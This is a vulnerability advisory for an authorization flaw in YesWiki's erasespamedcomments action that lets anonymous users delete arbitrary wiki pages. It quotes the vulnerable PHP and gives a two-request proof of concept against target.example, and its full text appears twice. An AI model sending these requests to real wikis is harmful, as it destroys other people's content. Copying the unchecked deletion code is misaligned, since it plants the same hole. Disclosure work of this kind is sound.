← Back to CVE List
CVE-2026-52766NVD
Vulnerability Summary
### Summary
The `{{erasespamedcomments}}` wiki action (`actions/EraseSpamedCommentsAction.php`) accepts a `suppr[]` array from `POST` and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (`default_write_acl='*'`) on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.
The action's `delete()` callee is `PageManager::deleteOrphaned()`, which despite its name does not check whether the target page is orphaned: it issues an unconditional `DELETE` against `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` tables.
### Details
Three issues compose the vulnerability.
1. `actions/EraseSpamedCommentsAction.php` performs no authorization check before processing `$_POST['clean']` / `$_POST['suppr'][]` in `actions/EraseSpamedCommentsAction.php`:
```php
public function run()
{
$wiki = &$this->wiki;
ob_start();
// ...
elseif (isset($_POST['clean'])) {
$deletedPages = '';
if (!empty($_POST['suppr'])) {
foreach ($_POST['suppr'] as $page) {
echo 'Effacement de : ' . $page . "<br />\n";
if ($wiki->services->get(PageController::class)->delete($page)) {
$deletedPages .= $page . ', ';
}
}
}
}
}
```
No `UserIsAdmin()`, no `UserIsOwner()`, no `HasAccess('write', $page)` per-target check, no CSRF token check.
2. The default action ACL grants access to everyone in `includes/YesWiki.php`:
```php
$acl = empty($this->config['permissions'][$moduleType][$module])
? '*'
: $this->config['permissions'][$moduleType][$module];
```
```php
if ($acl === null) { return true; }
return $this->CheckACL($acl, $user);
```
No shipped `permissions` map gates `erasespamedcomments` to admins, so `Performer::CheckModuleACL('erasespamedcomments', 'action')` returns `true` for anonymous users.
3. `PageController::delete()` and `PageManager::deleteOrphaned()` perform no authorization check and do not validate that the page is actually orphaned in `includes/controllers/PageController.php:38–48`:
```php
public function delete(string $tag): bool
{
if ($this->entryManager->isEntry($tag)) {
return $this->entryController->delete($tag);
} else {
$this->pageManager->deleteOrphaned($tag);
$this->wiki->LogAdministrativeAction(
$this->authController->getLoggedUserName(),
'Suppression de la page ->""' . $tag . '""'
);
return true;
}
}
```
in `includes/services/PageManager.php:289–310`:
```php
public function deleteOrphaned($tag)
{
if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); }
unset($this->ownersCache[$tag]);
if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); }
$this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'");
$this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' ");
$this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' ");
// ...further unconditional DELETEs across triples, referrers, tags
}
```
The companion `isOrphaned()` method (line 284) exists but is never called from `deleteOrphaned()`. The function name is misleading as it deletes any page, not just orphans.
### PoC
Default fresh install where `default_write_acl='*'` (per `includes/YesWikiInit.php:219`), anonymous browsing.
1. create a trigger page (anonymous)
```http
POST /?wiki=SpamCleanup/edit HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
body=%7B%7Berasespamedcomments%7D%7D&submit=1
```
This succeeds because the new page passes `aclService->hasAccess('write', 'SpamCleanup')` against `default_write_acl='*'`.
2. trigger arbitrary page deletion (anonymous)
```http
POST /?wiki=SpamCleanup HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage
```
Server response includes `Effacement de : PagePrincipale` and `Effacement de : AnotherTargetPage`. `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` rows for those tags are deleted from the database.
### Impact
Arbitrary page deletion, including the front page (`PagePrincipale`).
The `{{erasespamedcomments}}` wiki action (`actions/EraseSpamedCommentsAction.php`) accepts a `suppr[]` array from `POST` and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (`default_write_acl='*'`) on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.
The action's `delete()` callee is `PageManager::deleteOrphaned()`, which despite its name does not check whether the target page is orphaned: it issues an unconditional `DELETE` against `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` tables.
### Details
Three issues compose the vulnerability.
1. `actions/EraseSpamedCommentsAction.php` performs no authorization check before processing `$_POST['clean']` / `$_POST['suppr'][]` in `actions/EraseSpamedCommentsAction.php`:
```php
public function run()
{
$wiki = &$this->wiki;
ob_start();
// ...
elseif (isset($_POST['clean'])) {
$deletedPages = '';
if (!empty($_POST['suppr'])) {
foreach ($_POST['suppr'] as $page) {
echo 'Effacement de : ' . $page . "<br />\n";
if ($wiki->services->get(PageController::class)->delete($page)) {
$deletedPages .= $page . ', ';
}
}
}
}
}
```
No `UserIsAdmin()`, no `UserIsOwner()`, no `HasAccess('write', $page)` per-target check, no CSRF token check.
2. The default action ACL grants access to everyone in `includes/YesWiki.php`:
```php
$acl = empty($this->config['permissions'][$moduleType][$module])
? '*'
: $this->config['permissions'][$moduleType][$module];
```
```php
if ($acl === null) { return true; }
return $this->CheckACL($acl, $user);
```
No shipped `permissions` map gates `erasespamedcomments` to admins, so `Performer::CheckModuleACL('erasespamedcomments', 'action')` returns `true` for anonymous users.
3. `PageController::delete()` and `PageManager::deleteOrphaned()` perform no authorization check and do not validate that the page is actually orphaned in `includes/controllers/PageController.php:38–48`:
```php
public function delete(string $tag): bool
{
if ($this->entryManager->isEntry($tag)) {
return $this->entryController->delete($tag);
} else {
$this->pageManager->deleteOrphaned($tag);
$this->wiki->LogAdministrativeAction(
$this->authController->getLoggedUserName(),
'Suppression de la page ->""' . $tag . '""'
);
return true;
}
}
```
in `includes/services/PageManager.php:289–310`:
```php
public function deleteOrphaned($tag)
{
if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); }
unset($this->ownersCache[$tag]);
if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); }
$this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'");
$this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' ");
$this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' ");
// ...further unconditional DELETEs across triples, referrers, tags
}
```
The companion `isOrphaned()` method (line 284) exists but is never called from `deleteOrphaned()`. The function name is misleading as it deletes any page, not just orphans.
### PoC
Default fresh install where `default_write_acl='*'` (per `includes/YesWikiInit.php:219`), anonymous browsing.
1. create a trigger page (anonymous)
```http
POST /?wiki=SpamCleanup/edit HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
body=%7B%7Berasespamedcomments%7D%7D&submit=1
```
This succeeds because the new page passes `aclService->hasAccess('write', 'SpamCleanup')` against `default_write_acl='*'`.
2. trigger arbitrary page deletion (anonymous)
```http
POST /?wiki=SpamCleanup HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage
```
Server response includes `Effacement de : PagePrincipale` and `Effacement de : AnotherTargetPage`. `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` rows for those tags are deleted from the database.
### Impact
Arbitrary page deletion, including the front page (`PagePrincipale`).
CVSS v3.1 Base Metrics
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityNone
IntegrityHigh
AvailabilityHigh